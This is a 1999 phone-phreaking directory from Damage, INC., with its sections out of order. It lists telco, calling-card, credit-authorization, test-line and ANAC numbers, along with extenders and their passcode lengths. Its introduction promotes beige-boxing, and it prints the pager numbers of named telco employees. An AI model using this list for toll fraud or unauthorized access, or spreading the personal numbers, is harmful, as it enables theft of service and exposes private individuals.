+1-877-925-6278 (1-800-WAL-MART) Customer and Associates Service Hotline.
+1-877-ROGERS-1 Rogers Corporation.
+1-888-256-5678 NCR AlertLine.
+1-888-257-8826 Cantel Centre de Communication.
+1-888-349-6972 Micron Electronics Technical Support.
+1-888-4-LUCENT Lucent Technologies Canada.
+1-888-478-2730 I-Star Internet Incorporated.
+1-888-504-2355 "Tony Bell" from Remax.
+1-888-536-2355 "This is Ken Bell." (Voice)
+1-888-582-3686 (1-888-LUCENT6) Lucent Technologies Shareholder Services.
+1-888-582-3688 Lucent Technologies.
+1-888-638-2355 Cantel AT&T.
+1-888-673-8925 Micro$oft's Y2K Disclosure Line.
+1-888-715-2355 Call Home America Ultimate 800.
+1-888-736-8567 Motorola.
+1-888-751-8088 Guinness World Records.
+1-888-825-2355 Connect America.
+1-888-839-9295 IBM Haliburton Service Desk.
+1-888-ROGERS-1 Rogers Cable.
+1-888-ROGERS-2 Rogers Connection.
+1-888-Y-TOP-TEN ATN's Top Ten reasons why you should get a toll free number.
+ Glossary of Terms, Acronyms and Jargon)
+
+
+-------------------------------------------------------------------------------
+ Telco Employees (Answering Machines and Pagers):
+-------------------------------------------------------------------------------
+
+(416) 377-3724 Mike Turner's Pager (works for Bell)
+(416) 379-2117 Dave Twiner's Pager (works for Bell)
+1-800-455-6813 Jack Hogan of MCI WorldCom's Pager.
+1-800-519-6245 TONE then "Sprint - Kimberly Martin." (Answering Machine)
+
+
+-------------------------------------------------------------------------------
+ Numbers that Require PINs:
+-------------------------------------------------------------------------------
+
+1-800-235-3155 "Welcome. Enter the PIN number you wish."
+1-800-249-6245 "Please enter your 7 digit access code"
+1-800-549-6245 "Welcome. Enter the PIN number you wish."
+1-800-566-6245 "Please enter your four digit PIN:"
+1-800-643-6245 "Enter ID number immediately followed by your security code."
+1-800-862-6340 "Please enter your 4 digit PIN."
+1-888-612-2355 "Enter the PIN number you wish."
+1-888-614-2355 "Enter the PIN number you wish."
+1-888-623-2355 "Enter the PIN number you wish."
+
+
+-------------------------------------------------------------------------------
+ Carriers:
+-------------------------------------------------------------------------------
+
+1-800-234-1998 Digital Equipment Corp. Electronic Store. (Online Shopping)
+1-800-234-6245 MCI (USA)
+1-800-283-5474 Okidata (inside joke!)
+1-800-368-7244 AT&T Information Access Services SignOn/Pwd (USA)
+1-800-368-7247 AT&T Information Access Services SignOn/Pwd (USA)
+1-800-444-8697 RTK-NET.
+1-800-604-6245 Digital Equipment Corporation.
+1-800-624-5123 AT&T STATION ID - C2/34.11 Canada 2 Datakit.
+1-800-692-8872 (1-800-MY-ATT-PC) NCR Global Support Center BBS. (3 lines)
+1-803-939-8207 NCR Global Support Center BBS. (9 lines)
+
+(Use the N-8-1 setting to connect to the carriers above.)
+
+
+-------------------------------------------------------------------------------
+ Cellular, PCS and Paging Services:
+-------------------------------------------------------------------------------
+
+1-800-222-8466 Cellular Rentals.
+1-800-263-7536 Nokia Mobile Phones.
+1-800-264-2355 (1-800-ANI-BELL) Cellular South Answer Center.
+1-800-274-3127 MobileCom's National Customer Service Center.
+1-800-276-2355 Frontier Communications Customer Service.
+1-800-374-2355 InterCall.
+1-800-374-2776 Ericsson Mobile Phones Customer Care Center.
+1-800-405-6543 American Mobile.
+1-800-411-2355 Car Phone Store.
+1-800-432-2355 Air Touch Paging. 1-800-6AIR-TOUCH Air Touch Paging Canada.
+1-800-438-2355 Kentucky Cellular.
+1-800-452-2355 Appalacian Wireless.
+1-800-460-2255 Pager Service.
+1-800-474-2355 OmniCell Technologies Incorporated.
+1-800-481-2355 ATI Cellular.
+1-800-483-5010 Cellular Express.
+1-800-488-2355 Cellular 2000.
+1-800-496-2355 Nationlink.
+1-800-518-2355 CellToys International. (Cellular, PCS, accessories etc.)
+1-800-549-2355 Advanced Cellular and Paging.
+1-800-590-2355 ATI Cellular.
+1-800-613-2355 Cellular Unlimited.
+1-800-638-2355 Comcev Cellular Communications.
+1-800-667-2355 SouthTel Mobility.
+1-800-673-2355 Quintex Cellular.
+1-800-705-2355 OmniCell Technical Department VMS.
+1-800-706-2355 Paging Service Center.
+1-800-724-2355 AllCell Rentals.
+1-800-742-2355 Mobile Media.
+1-800-759-2355 Plymouth Bell Laboratories.
+1-800-765-2355 Isralink Communications. (Israel Cell phones)
+1-800-794-2355 Advantage Communications Systems.
+1-800-806-2355 Advantage Paging. (I believe it's Bell Advantage)
+1-800-821-2355 MobileCom.
+1-800-854-2355 MobileCall accounts.
+1-800-866-2770 MobileCom. (pager service)
+1-800-871-2355 The Phone Man. (I'm fucking serious... Haha)
+1-800-872-6222 American Mobile Satellite Communications Products. (U.S. only)
+1-800-874-6387 Trellis Communications.
+1-800-887-2255 Trellis Premier Voice Mail and Paging.
+1-800-926-2355 Ubet Wireless.
+1-800-980-2355 Light Cellular.
+1-877-948-4968 (1-877-WITH-YOU) Frontier Cellular.
+1-877-CELLPHONE Travel Phone (Cellular phone company)
+1-877-WIRELESS Cellular Depot.
+1-888-229-4443 Cantel AT&T Canada.
+1-888-300-2355 Consolidated Wireless Corporation.
+1-888-444-2355 Maricell Cellular.
+1-888-481-FIDO Fido PCS Services.
+1-888-593-2355 S&E Cellular.
+1-888-638-2355 Cantel AT&T.
+1-888-694-2355 Corporate Communications at AirTouch Customer Service.
+1-888-801-2355 Cell Phones and Accessories.
+1-888-877-2355 Comcev Communications.
+1-888-879-2355 Portable Communications. (The home of the Phone Man)
+1-888-901-2355 Digital Communications.
+1-888-902-2355 NewTech Wireless. (paging, cellular, equipment, etc.)
+1-888-968-2355 Everything Wireless.
+1-888-999-2355 Downtown Wireless.
+1-888-CELL-BOOK CellCom and PageCom.
+1-888-WIRELESS Page USA.
+
+
+-------------------------------------------------------------------------------
+ Free Disks:
+-------------------------------------------------------------------------------
+
+1-888-265-4357 (1-888-AOL-HELP) AOL Canada (only call for free 3«" AOL disks)
+1-800-487-4838 CompuServe.
+1-800-776-3449 Prodigy.
+1-800-777-9638 Sprynet - Gives you two disks.
+1-800-786-7638 SunSoft - Free 30-day evaluation disk. (press 1)
+1-800-827-6364 America Online.
+
+
+-------------------------------------------------------------------------------
+ Calling Cards:
+-------------------------------------------------------------------------------
+
+1-800-213-0304 Talk `n Toss Calling Card.
+1-800-213-4222 Calling Card.
+1-800-265-3121 Prepaid LD.
+1-800-277-7468 Sprint Prepaid Calling (press 1)
+1-800-279-6111 Unidial Calling Card.
+1-800-393-0711 7-11 Calling Cards.
+1-800-423-4343 AT&T Calling Cards (16 digit code) (automated)
+1-800-437-6404 Champs Sports Calling Card (9 digit code)
+1-800-444-3556 (1-800-HI-HELLO) Hello Direct. (Mail-order telphonics equipment,
+ pre-paid phone cards, etc.)
+1-800-463-0004 Some calling card service
+1-800-484-6245 MCI. (4 Digit Security Code)
+1-800-560-6245 "Please enter your four digit Frontier Spectrum PIN."
+1-800-572-6361 Pepsi Phone Card.
+1-800-662-6214 AT&T Calling Cards.
+1-800-674-6245 Musical Notes and then "Please enter your card number now."
+1-800-674-7325 MCI Calling Card.
+1-800-674-9997 MCI Calling Card.
+1-800-690-6245 "Please enter your four digit Frontier Spectrum PIN."
+1-800-783-1414 Frontier Access Card.
+1-800-814-2808 Sprint Prepaid calling card service.
+1-800-860-4444 Qwest Communications. (calling card calls)
+1-800-864-7000 Premier World Link Access Number.
+1-800-997-6245 Decoma calling card service. "Please enter your card number."
+1-800-BCE-HELP Ideal Dial's Telecard Platform.
+1-888-813-1426 Kokanee Talkin' Tag Phone Card (10 digit PIN)
+
+
+-------------------------------------------------------------------------------
+ Teleconferencing:
+-------------------------------------------------------------------------------
+
+1-800-225-5100 AT&T Corporate Teleconferencing.
+1-800-225-5500 Teleconference Assistance.
+1-800-225-5700 AT&T Teleconferencing.
+1-800-232-1234 AT&T Teleconferencing.
+1-800-235-0900 AT&T Teleconferencing. (Spanish and English)
+1-800-255-5100 AT&T Teleconferencing.
+1-800-255-5500 AT&T Teleconferencing.
+1-800-369-1117 MCI Teleconferencing.
+1-800-475-4455 Conference Calling Center.
+1-800-544-6363 AT&T Alliance Teleconference Service (US)
+1-800-567-3678 Bell (Dis)Advantage Teleconference (Canada)
+1-800-625-5288 Teleconference Playback Center.
+1-800-886-2355 Frontier Teleconferencing.
+
+
+-------------------------------------------------------------------------------
+ Credit Card Verification:
+-------------------------------------------------------------------------------
+
+1-800-228-1122 Credit Card Verification.
+1-800-268-2530 Credit Card Verification.
+1-800-268-8281 Royal Bank Authorization Centre for Visa Cards.
+1-800-333-1337 Authorization Centre.
+1-800-336-0220 Credit Card Service Bureau.
+1-800-361-8370 National Bank Authorization Centre for Master Card.
+1-800-528-2121 American Express Card.
+1-800-556-5678 Bank number to report stolen bank cards.
+1-800-561-5224 Credit Authorization Centre
+1-800-796-2355 Card Services (Visa and Mastercard)
+1-800-810-2355 Customer Service Center.
+1-800-866-5000 National Credit Center.
+
+
+-------------------------------------------------------------------------------
+ Non-Toll Free Extenders, etc.
+-------------------------------------------------------------------------------
+
+(519) 651-2252 Extender (4 digit Client numbers and passcodes)
+(519) 654-9000 Ability Telecom extender/diverter. (4 digit passcodes)
+(519) 742-9621 Bell Canada VMS.
+(519) 846-2255 Extender. (5 digit passcode)
+(519) 895-2255 Extender. (5 digit passcode)
+
+
+-------------------------------------------------------------------------------
+ Silent Lines, Test Lines and Strange Messages:
+-------------------------------------------------------------------------------
+
+(403) 425-0052 Gives you Info about a Bell CO in Alberta.
+(416) 690-4804 - Remote 44A (aka Bell Hut) (it's a switching center)
+(423) 539-0001 Memorycall Access line.
+(423) 588-9909 Memorycall Access line.
+(423) 602-7811 Remote Call FWD Access.
+(514) 391-1715 Wide Area Telephone Service (WATS)
+(514) 391-4005 MDAR Trouble line.
+(514) 481-1111 1khz tone.
+(514) 481-1191 1Khz&Battery.
+(514) 673-2111 Centrex (ASA)
+(514) 786-6786 Control.
+(514) 852-8686 Cables.
+(514) 870-0200 CDE code MTL.
+(514) 870-0669 CDE code MTL.
+(514) 870-0704 CDE code MTL.
+(514) 870-1252 DMS.
+(847) 823-9995 Gives reading on the Bell CO, including alert and battery
+ conditions and temperature. Also allows you to check the sound
+ levels, allowing you to hear inside the CO.
+1-800-200-0301 Test line (loud beep)
+1-800-200-0302 Test line (loud beep)
+1-800-225-5122 "We are sorry but this program has not started. Thank you for
+ calling."
+1-800-225-5300 "We are sorry but this program has ended and no further calls are
+ being taken. Thank you for calling."
+1-800-225-5308 High pitched TONE.
+1-800-225-5528 TONE. "Please enter the number you are calling."
+1-800-369-2255 Silent line.
+1-888-374-2355 "You have entered an invalid telephone number."
+1-800-430-7938 DMS.
+1-800-444-1677 Siren Tones.
+1-800-455-2013 Ring + Click then Trunk Busy signal.
+1-800-455-7947 1 Ring then silent line.
+1-800-483-2276 No Ring + Trunk Busy signal.
+1-800-483-9774 Ring + Trunk Busy Signal.
+1-800-485-2255 Ring + Trunk Busy Signal.
+1-800-555-1120 "We are sorry but this program has ended and no further calls are
+ being taken. Thank you for calling."
+1-800-555-1220 Same message as 1-800-555-1120.
+1-800-555-2147 Ring + Trunk Busy signal.
+1-800-555-2342 Dialtone. (PBX)
+1-800-555-3585 Dialtone. (PBX)
+1-800-555-3696 Silent line.
+1-800-624-2255 "We're sorry. We're unable to place a call from this number.
+ Goodbye."
+1-800-647-2255 "I'm sorry. We are no longer taking calls for this project."
+1-800-862-6338 Blast of Noise. Some type of test line.
+1-800-866-9317 High Tone
+1-800-877-8000 Low Tone
+1-800-898-2355 Silent line.
+1-800-900-1302 Silent line.
+1-800-900-2274 Silent line.
+1-800-959-9997 "Test 1, 2, 3, 4." message.
+1-888-468-2355 "Due to technical difficulties we cannot record your message
+ at this time."
+1-888-487-5346 L.E.G.O.S.
+1-888-786-6786 Control.
+1-888-871-2380 Waterloo Facilities.
+
+
+-------------------------------------------------------------------------------
+ FAX-Backs:
+-------------------------------------------------------------------------------
+
+1-800-222-9323 AMV Fax-Back
+1-800-268-9100 Bell Canada 1-900, 976, Info Line (2,1,2,AC,NUM,#,#)
+1-800-282-2000 Phillips (1,2,6,AC,NUM,#,1,#)
+1-800-323-6586 Tandy Retail Services Fax-Back. (order Tandy docs!)
+1-800-345-1518 Compaq Computer PaqFax
+1-800-365-0696 Genecom Corporation FAX-back service. (Digital Printer Support)
+1-800-368-9673 Hewlett-Packard Information Storage Quick Fax (1,2,AC,NUM,1,2,)
+1-800-380-0030 Diamond (2,2AC,NUM,#,1,AC,NUM,#,1)
+1-800-443-1254 HP Portable Products (5,5,5,#,3,2,2,2,1#AC,NUM,#,1,#,)
+1-800-446-6212 Analog Fax (2,1,0,AC,NUM,1,AC,NUM,#,1)
+1-800-451-2100 Lucent Technologies Main number (get product info by FAX).
+1-800-483-2495 Central FAX on demand system. (FAX back)
+1-800-521-2846 Brother Fax back (they make fax machines and typewriters)
+1-800-522-6752 Amp Fax (1,8,90,#,#,AC,NUM,#,#,AC,NUM,#,#,#)
+1-800-525-3019 Intel (1,1,3,2,AC,NUM,1,#)
+1-800-722-4786 Sun Microsystems Service Canada (1,2,4,1,AC,NUM,#,1)
+1-800-727-3351 Micro$oft Sales FAX Service Line. (press *,1,1,AC,NUM,#,5,0)
+1-800-822-4269 Borland (3,2,1,AC,NUM,#,1,3,1)
+1-800-832-4778 Western Digital Fax Access (2,1,1,1,AC,NUM,#,1,AC,NUM,#,1)
+1-800-832-6328 Ameritech Team Data Support Center (press 6,2,1,2,AC,NUM,1)
+ (pressing 6 transfers you to the Ameritech Team Data Information
+ Server which you can use to obtain telco info via FAX back)
+1-800-872-4786 Sun Microsystems Service United States (2,4,1,AC,NUM,#,1)
+1-800-879-8632 US West News line. (U.S. only)
+1-800-943-8329 Integrated Device Tech (1000,1,3000,1,#,AC,NUM#,1,#)
+1-800-IBM-4FAX IBM FAX Information Service. (3,1,0,1,1,1,AC,NUM,#,1,1)
+1-800-SKY-USER Skytel Customer Service. (press 3 for FAX on demand for docs)
+
+
+-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
+
+Final Notes:
+
+If you'd like to contribute to the Damage, INC. Phreaky Field Phreaking List,
+discover a number that's no longer in service or misidentified, send Email to
+damage_inc@dope.org and the addition/correction will be made in the next
+edition. If you send numbers your alias will be listed in the next edition,
+which we expect to release in the Summer of 1999.
+
+Thanks go out to the following people (in no particular order) for their
+contributions to this list. If you contributed in some way but were neglected
+to be mentioned, then contact and notify me about the oversight.
+
+THC Phreak, BLACKENED, Shatazar, Helena3, Breaker, x25lurker, Tobias, Nevada,
+Fringe, , Syko416, Fatal Vision.
+
+It was created, scanned, compiled, verified and distributed by phreaks, for
+phreaks. And in addition to that, it's damn phreaky. Have phun... and look
+out for more releases courtesy of Damage, INC. and Blamerica Phreaky Industries.
+
+- Blackie Lawless
+
+ Copyright 1999 by Damage, INC. All Rights Reserved.
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+ \_ __ \_ \ / \ / \_ \ | __/ ____/ \ | \| | __/
+ _| |/ / = \| |/ = \| / | ___/_ _ | | | /___ _
+ \________/___|___\__|_|__/___|___\_____|______/|_| \__|__|\__|_____/|_|
+======================== "The name speaks for itself!" ========================
+
+ Phreaky Field Phreaking List.
+ ú Summer 1999 Edition ú
+ (Released: 06/30/99)
+
+ http://surf.to/damage_inc
+ damage_inc@disinfo.net
+===============================================================================
+
+Introduction:
+
+This is the second edition of the Damage, INC. Phreaky Field Phreaking List. We
+recommend that you print it out and take it with you on beige boxing/junction
+boxing expeditions or for use as a reference while at payphones. Hell, just
+take it with you wherever you travel. You never know when you're going to need
+it. :) This comprehensive list includes many toll free numbers for telcos,
+test numbers, conferences, computer companies, carriers, cellular, and other
+services, etc. Always remember, you ain't seen nothin' yet!
+
+Disclaimer:
+
+The Damage, INC. Phreaky Field Phreaking List is for informational purposes
+only. We are not responsible for how it is used, including but not restricted
+to any fraudulent, illegal acts that may be committed, unauthorized access of
+systems, loss/theft of services or any damages that may be caused as a result
+of someone else's activities. If/how you use these numbers is entirely your
+choice. In summary, you're legally responsible for your own deeds and actions.
+Now that the legal shit has been thoroughly covered, here's what you have all
+been waiting for... :)
+
+-------------------------------------------------------------------------------
+ ANACs/ANIs and Ringbacks:
+-------------------------------------------------------------------------------
+
+(514) 320-0047 Slow ANAC for Montreal, Quebec.
+(514) 320-1147 Fast ANAC for Montreal, Quebec.
+(519) 748-3220 Viewer's Choice order line for Kitchener. (press 1 for ANI)
+(613) 320-2232 ANI for Ottawa, Ontario.
+
+1-800-346-0152 ANI.
+1-800-42562563 (1-800-4-BLOCKME) VRS Billing Systems and IntegriTel offers
+ free 1-800 blocking and ANAC.
+1-800-487-9240 ANI (doesn't work from 519)
+1-800-514-9939 ANI (doesn't work from 416/519)
+1-800-532-7486 ANI (Hit option 1, then option 1 again then listen)
+1-800-555-1160 ANI (always busy now...)
+1-800-555-1170 ANI (always busy now...)
+1-800-569-5699 ANI (press "7*#")
+1-800-638-2392 Press "2" for ANI info.
+1-800-692-6447 (1-800-MY-ANI-IS) Requires a passcode.
+
+320-XXX-XXXX Ringback for Montreal, Quebec.
+507-XXX-XXXX Ringback for Alberta.
+590-XXX-XXXX Ringback for 204 NPA.
+954-999-XXXX Ringback for 954 NPA.
+999-XXX-XXXX Ringback for 519 NPA.
+999-XXX-XXXX Ringback for North Bay, Ontario (705)
+999-XXX-XXXX Ringback for Ottawa, Ontario (613)
+999-XXX-XXXX Ringback for portions of Toronto, Ontario (416)
+
+
+-------------------------------------------------------------------------------
+ AT&T:
+-------------------------------------------------------------------------------
+
+1-800-221-0000 AT&T Interactive Advantage Customer Support Line.
+1-800-221-7680 AT&T Digital Video Center.
+1-800-222-0300 AT&T Main Number.
+1-800-222-0400 AT&T Custom Care Centre (for long distance service)
+1-800-222-1000 AT&T Customer Care Center.
+1-800-222-3000 AT&T Customer Service.
+1-800-222-5111 Lucent/Phillips Communications/AT&T Telephones.
+1-800-222-7956 AT&T Global ISDN Customer Care Center.
+1-800-225-5288 (1-800-CALL-ATT)
+1-800-225-5856 AT&T's Vendor Agent Program.
+1-800-235-4288 AT&T America.
+1-800-242-2422 Loral Skynet Satellite Services (formerly AT&T Skynet)
+1-800-242-6005 AT&T Internet Services.
+1-800-243-0506 AT&T Find America Directory Service.
+1-800-247-6636 AT&T Wireless Services In-Flight Customer Care.
+1-800-248-3632 AT&T's Data Network Business Information Solutions.
+1-800-255-1242 AT&T Customer Information Center (Canada)
+1-800-258-0123 AT&T Customer Care Center.
+1-800-268-5931 AT&T Wireless Service VMB.
+1-800-268-5939 AT&T (Operator)
+1-800-305-9494 AT&T Wireless (MetroCall) Messaging.
+1-800-322-MWBE AT&T Supplier Diversity Program Information Line.
+1-800-325-0138 AT&T Small Business Customer Care.
+1-800-331-3449 AT&T Employee Line (Lists AT&T Job openings)
+1-800-342-5288 AT&T Customer Care.
+1-800-348-8288 AT&T Shareholder Services.
+1-800-351-5855 AT&T Helpdesk.
+1-800-387-1926 AT&T Personal Info Line.
+1-800-400-1447 AT&T WorldNet Service Billing.
+1-800-418-8999 AT&T Customer Care Center. (long distance service)
+1-800-423-4343 AT&T Universal Card.
+1-800-424-6030 AT&T's Matching Gift Processing Center.
+1-800-425-5288 AT&T Products and Services.
+1-800-426-8686 AT&T Printed Directories. (U.S. only)
+1-800-428-8468 AT&T Global Services Center.
+1-800-428-8669 (1-800-4ATT-NOW) AT&T Personal Network Sales Center.
+1-800-432-6600 AT&T Customer Information Center (USA)
+1-800-435-7375 AT&T EasyLink Technical Support. (U.S. only)
+1-800-438-3151 AT&T Wireless, Job Line.
+1-800-443-8288 (1-800-GIFT-ATT) AT&T Gift Certificates.
+1-800-446-7466 (1-800-4GOPHONE) AT&T Wireless GoPhone Services.
+1-800-4-ONE-RATE AT&T One Rate plan subscriptions.
+1-800-483-9288 AT&T and Texaco's Information Line.
+1-800-522-2157 AT&T Investigations Department.
+1-800-525-7955 AT&T Direct Call Cards.
+1-800-528-0465 AT&T CampusWide Access Solutions.
+1-800-538-5345 AT&T Slamming Resolution Center.
+1-800-552-3373 AT&T Wireless Advanced Network Services Support.
+1-800-555-8111 AT&T Consumer Lease Services.
+1-800-562-2255 AT&T 1-800 Directory Advertising.
+1-800-562-6275 AT&T Message Sender (Send an automated message to any number in
+ the world with your voice. Accepts calling cards & credit cards)
+1-800-562-7288 (1-800-JOBS-ATT) AT&T Employee Line. (U.S. only.)
+1-800-575-9999 AT&T Canada.
+1-800-628-8486 AT&T Language Line Services.
+1-800-634-8078 AT&T Billing Office/Accounts info.
+1-800-643-2255 AT&T Translation Service. (Foreign languages only)
+1-800-662-6214 AT&T Calling Card Protection line.
+1-800-662-7759 (1-800-66-APPLY) AT&T Universal Card.
+1-800-670-2255 AT&T Canada Long Distance Services.
+1-800-673-7286 AT&T 1-800-OPERATOR. Specializes in collect calls. Automated.
+1-800-678-7918 AT&T Business Customer Care Center.
+1-800-682-8706 AT&T Telecommunications Relay Customer Service. (Voice)
+1-800-682-8786 AT&T Telecommunications Relay (TTY)
+1-800-732-2255 AT&T High Seas Radio Telephone and Mobile Satellite Services.
+1-800-7-HOSTIN AT&T Internet Services.
+1-800-752-0093 AT&T Language Line Services.
+1-800-752-6096 AT&T Language Line Customer Service Center.
+1-800-790-2255 AT&T Canada Long Distance Services.
+1-800-807-2466 AT&T Learning Points Program.
+1-800-820-6464 AT&T Digital Long Distance/ISDN Services.
+1-800-822-9009 AT&T Corporate Security, internal investigations.
+1-800-830-2255 AT&T Canada Long Distance Services.
+1-800-831-5259 AT&T WorldNet Business/Data Services.
+1-800-833-3232 AT&T ACS Long Distance Bill Inquiries.
+1-800-850-TIES AT&T. Call to setup Easy Reach 800s.
+1-800-855-1155 AT&T LDRS Directory Assistance. (TTY Carrier for the deaf)
+1-800-855-2880 AT&T Long Distance Relay Service (TTY)
+1-800-855-2881 AT&T Long Distance Relay Service (automated/voice)
+1-800-855-2882 AT&T Long Distance Relay Service (TTY)
+1-800-855-2883 AT&T Long Distance Relay Service (TTY)
+1-800-858-9857 AT&T True Rewards (option 1)
+1-800-878-3123 (1-800-TRUE-123) AT&T True Messages Service.
+1-800-889-4408 AT&T NCC (Network Control Center) and TCC.
+1-800-892-3850 AT&T Wireless Long-Distance Service.
+1-800-958-2255 AT&T Canada Long Distance Services.
+1-800-967-5363 AT&T Worldnet Service.
+1-800-970-2255 AT&T Canada Long Distance Services.
+1-800-998-3947 AT&T Authorized Stocking Distributor/Zack Electronics.
+1-800-GIFT-ATT AT&T Gift Certificates (extension 410) (Mon-Fri, 9-5)
+1-800-WORLDNET (1-800-96753638) AT&T Canada Internet Service.
+1-888-288-1233 AT&T Internet Service.
+1-888-ATT-ALL1 AT&T Customer Care Center.
+1-888-ATT-INTL AT&T International Helpline in Basking Ridge, NJ.
+1-888-ATT-TRW3 AT&T True Rewards Account questions.
+1-888-928-8932 (1-888-9ATT-WEB) AT&T Online Customer Service.
+1-888-933-1212 AT&T Cellular phone accessories. (U.S. only)
+
+
+-------------------------------------------------------------------------------
+ Ameritech:
+-------------------------------------------------------------------------------
+
+1-800-221-0994 Ameritech Cellular and Paging.
+1-800-244-4444 Ameritech Customer Billing Office (works outside of Illinois)
+1-800-323-7311 Ameritech Capital Services.
+1-800-327-3470 Ameritech Advertising Services.
+1-800-475-7449 Ameritech Pay Phone Repair.
+1-800-493-7243 Ameritech Quick Reach Pager Services.
+1-800-553-9591 Ameritech Pages Plus Advertising.
+1-800-660-3000 Ameritech Small Business Services.
+1-800-821-0173 Ameritech Cellular and Paging Services.
+1-800-873-5501 Ameritech's automated billing (RBOC)
+1-800-AMERITECH Ameritech.
+1-888-AMERITECH Ameritech.
+
+
+-------------------------------------------------------------------------------
+ Bell:
+-------------------------------------------------------------------------------
+
+310-BELL Bell Canada Customer Services. (toll free)
+310-2355 Telephone Directory Ordering (free local directories)
+310-SURF Bell Sympatico.
+1-416-555-1313 Bell's local CN/A office for Toronto.
+1-915-683-9145 Southwestern Bell Employee Locator (Automated)
+
+1-800-221-4393 Bell Atlantic VMB.
+1-800-225-5180 Bell Canada Client Service Center.
+1-800-225-5400 Bell Atlantic.
+1-800-225-5792 SBC Wireless National Services.
+1-800-BELL-SOUTH (Collect, Calling Card and Credit Card calls)
+1-800-CELL-ONE Cellular One. (U.S. only)
+1-800-238-8636 Bell Labs.
+1-800-244-2355 Bell Atlantic's Interactive Demo Center.
+1-800-253-5011 Bell Mobility Paging.
+1-800-255-2255 Bell Atlantic 1-800-255-CALL.
+1-800-256-2355 Bell Nexxia. (after hours OcTel VMB)
+1-800-257-5554 Bell Atlantic Services/Computer Repair.
+1-800-263-3899 Bell Mobility Customer Service.
+1-800-263-7412 Bell Canada Millennium Help Line.
+1-800-263-8394 Bell Mobility.
+1-800-265-0123 Bell Mobility Ardis Division Sales.
+1-800-265-5925 Bell Data & I.X. Voice Repair.
+1-800-267-0123 Bell Mobility's Automated Express Lane System. (reports EST)
+1-800-267-0424 Bell Nexxia Customer Care.
+1-800-267-2355 Bell Mobility Quebec.
+1-800-267-6574 Bell Canada Datapac Service Center.
+1-800-267-7640 Bell Canada's Ident-a-call demonstration line. (Press "*" to
+ access the VMS)
+1-800-267-9556 Bell Canada.
+1-800-268-1720 Bell Canada Multimedia.
+1-800-268-2355 Bell Mobility Ottawa Office.
+1-800-268-3550 Bell ActiMedia Internet Services.
+1-800-268-5637 Bell ActiMedia (call to purchase Canadian, American and
+ international directories)
+1-800-268-5933 Bell Canada Quickchange Department.
+1-800-268-8531 Bell Data.
+1-800-268-9100 Bell Canada 1-900, 976, Information Line (they send faxes)
+1-800-268-9107 Bell Canada Customer Care.
+1-800-268-9160 Bell Canada Information Service Line.
+1-800-270-2355 Business Consulting Group of Bell Canada.
+1-800-275-2355 (1-800-275-BELL) Bell Atlantic Repair.
+1-800-285-2355 BellSouth.
+1-800-297-2355 Bell Atlantic's Major Customer Center.
+1-800-323-6628 Bell Laboratories.
+1-800-327-8412 Bell Atlantic Professional Services.
+1-800-331-9948 Bell Canada Relay Service Customer Comment Line.
+1-800-361-1423 Bell Canada Advantage Conferencing.
+1-800-361-3489 Bell Canada Customer Billing Center.
+1-800-361-7874 Bell Canada Millennium (Unknown)
+1-800-361-8717 Bell Canada Professional Services. (Montreal)
+1-800-363-2355 Bell Canada's Total Solution Center for Business.
+1-800-363-3781 Bell Mobility Paging.
+1-800-363-6522 Stentor's Calling Card Centre.
+1-800-363-9612 Bell Technical Services.
+1-800-365-5810 Bell Atlantic Customer Information Line. (good telco info)
+1-800-369-2355 Cellular One.
+1-800-381-2355 Cellular One.
+1-800-387-4411 Bell Canada's Business Direct Marketing Centre.
+1-800-387-5185 Bell Phonecentre Information Line.
+1-800-387-9571 Bell Mobility Radio.
+1-800-387-9999 Bell Gardium Security Representative.
+1-800-407-2355 John with Southwest Bell Wireless.
+1-800-416-9639 Bell Atlantic Help Desk.
+1-800-419-2355 BellSouth. (Spanish)
+1-800-436-8638 BellSouth Internet Home. (U.S. only)
+1-800-439-2355 Direct Bell. (wireless communications)
+1-800-441-1267 Southwestern Bell Yellow Pages.
+1-800-443-6200 Southwestern Bell Yellow Pages.
+1-800-446-7835 Northern Telecom (Nortel) (The People Who Make Millenniums)
+1-800-447-2688 BC Tel Mobility's EasyTouch Service.
+1-800-451-6549 BellSouth Customer Service.
+1-800-453-4539 Pacific Bell Directory Major Market. (U.S. only)
+1-800-461-1747 Bell Canada Millennium (Voice Test)
+1-800-461-1760 Bell Canada Millennium (Unknown)
+1-800-461-1879 Bell Canada Millennium (Data Test)
+1-800-461-2921 Bell Canada Smart Touch Information Line.
+1-800-461-7243 Bell ActiMedia Sales Office. (formerly Yellow Pages Tele-Direct)
+1-800-463-4778 Bell Canada Professional Services. (Quebec City)
+1-800-463-5376 Bell CSR-Quebec (Quebec City)
+1-800-465-2355 Bell Mobility.
+1-800-466-7835 (1-800-4-NORTEL) Nortel Networks. (Northern Telecom)
+1-800-468-6792 (1-800-GO-TO-SWB) Southwestern Bell's Employee Locator.
+1-800-470-2355 Bell Mobility.
+1-800-472-9773 Telus (Payphone Dept.)
+1-800-479-2977 Southwestern Bell Yellow Pages.
+1-800-487-2355 Cellular One Customer Service.
+1-800-491-2355 Pacific Link Communications Mississauga (Bell Mobility Center)
+1-800-4PB-ISDN Pacific Bell FasTrak DSL Center. (U.S. only)
+1-800-514-2355 Cellular One's Welcome line.
+1-800-521-2673 Bellcore.
+1-800-522-6909 Southwestern Bell Yellow Pages and Advertising Services.
+1-800-526-4611 Bell Atlantic Telecom Vendor's Service Leasing Dept.
+1-800-528-2355 Southwestern Bell Yellow Pages Business Office.
+1-800-538-4747 Bell Atlantic Mobile.
+1-800-541-1229 BellSouth Financial Services.
+1-800-555-1111 Bell LD. 3 way calling, calling card and many other features.
+1-800-555-4999 Bell Canada Residential and Business Service.
+1-800-556-2355 Bell Atlantic Communications.
+1-800-561-2355 Bell Mobility. (French)
+1-800-561-4459 NBTel's NBNet Support line.
+1-800-561-8888 Stentor's Calling Card Centre.
+1-800-563-0624 Telus Fax.
+1-800-563-2900 NewTel Communications.
+1-800-563-3794 Bell Mobility (Ottawa Office)
+1-800-565-4737 IslandTel Business Office.
+1-800-565-7102 MT&T.
+1-800-567-2355 Cellular One.
+1-800-567-2448 Bell Canada Millennium (Test Line)
+1-800-567-9633 Bell Canada (I think it's the main switchboard)
+1-800-575-2355 BC Telus Help Center.
+1-800-600-2355 Southwestern Bell.
+1-800-604-2355 Cellular One.
+1-800-611-6500 Bell Mobility Cellular.
+1-800-631-2355 Bell Atlantic Shareowner Services.
+1-800-636-2355 Bell Atlantic Communications.
+1-800-647-NEWS Bell Atlantic Employee News line. (Daily recorded messages)
+1-800-652-2355 Bell Atlantic Yellow Pages.
